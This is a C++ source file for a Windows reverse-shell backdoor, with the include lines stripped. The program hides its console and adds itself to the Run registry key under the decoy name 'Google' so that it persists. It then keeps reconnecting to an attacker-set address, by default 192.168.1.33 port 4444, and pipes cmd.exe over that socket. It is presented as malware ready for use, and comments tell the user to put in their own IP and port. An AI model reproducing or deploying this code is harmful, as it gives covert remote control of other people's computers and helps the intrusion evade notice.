#include #include #include #include #include #include #pragma comment(lib, "Ws2_32.lib") #define DEFAULT_BUFLEN 1024 void HideConsole() { ::ShowWindow(::GetConsoleWindow(), SW_HIDE); } void Persistence() { std::string progPath = "C:\\Windows\\Temp\\shell.exe"; HKEY hkey = NULL; LONG createStatus = RegCreateKey(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey); //Creates a key LONG status = RegSetValueEx(hkey, "Google", 0, REG_SZ, (BYTE*)progPath.c_str(), (progPath.size() + 1) * sizeof(wchar_t)); } void RunShell(char* RemoteServer, int Port) { while (true) { Sleep(5000); // Five Second SOCKET mySocket; sockaddr_in addr; WSADATA version; WSAStartup(MAKEWORD(2, 2), &version); mySocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL); addr.sin_family = AF_INET; addr.sin_addr.s_addr = inet_addr(RemoteServer); addr.sin_port = htons(Port); if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL) == SOCKET_ERROR) { closesocket(mySocket); WSACleanup(); continue; } else { char RecvData[DEFAULT_BUFLEN]; memset(RecvData, 0, sizeof(RecvData)); int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0); if (RecvCode <= 0) { closesocket(mySocket); WSACleanup(); continue; } else { char Process[] = "cmd.exe"; STARTUPINFO sinfo; PROCESS_INFORMATION pinfo; memset(&sinfo, 0, sizeof(sinfo)); sinfo.cb = sizeof(sinfo); sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW); sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE)mySocket; CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo); WaitForSingleObject(pinfo.hProcess, INFINITE); CloseHandle(pinfo.hProcess); CloseHandle(pinfo.hThread); memset(RecvData, 0, sizeof(RecvData)); int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0); if (RecvCode <= 0) { closesocket(mySocket); WSACleanup(); continue; } if (strcmp(RecvData, "exit\n") == 0) { exit(0); } } } } } int main(int argc, char** argv) { HideConsole(); Persistence(); if (argc == 3) { int port = atoi(argv[2]); RunShell(argv[1], port); } else { char host[] = "192.168.1.33"; // change this to your ip address int port = 4444; //chnage this to your open port RunShell(host, port); } return 0; }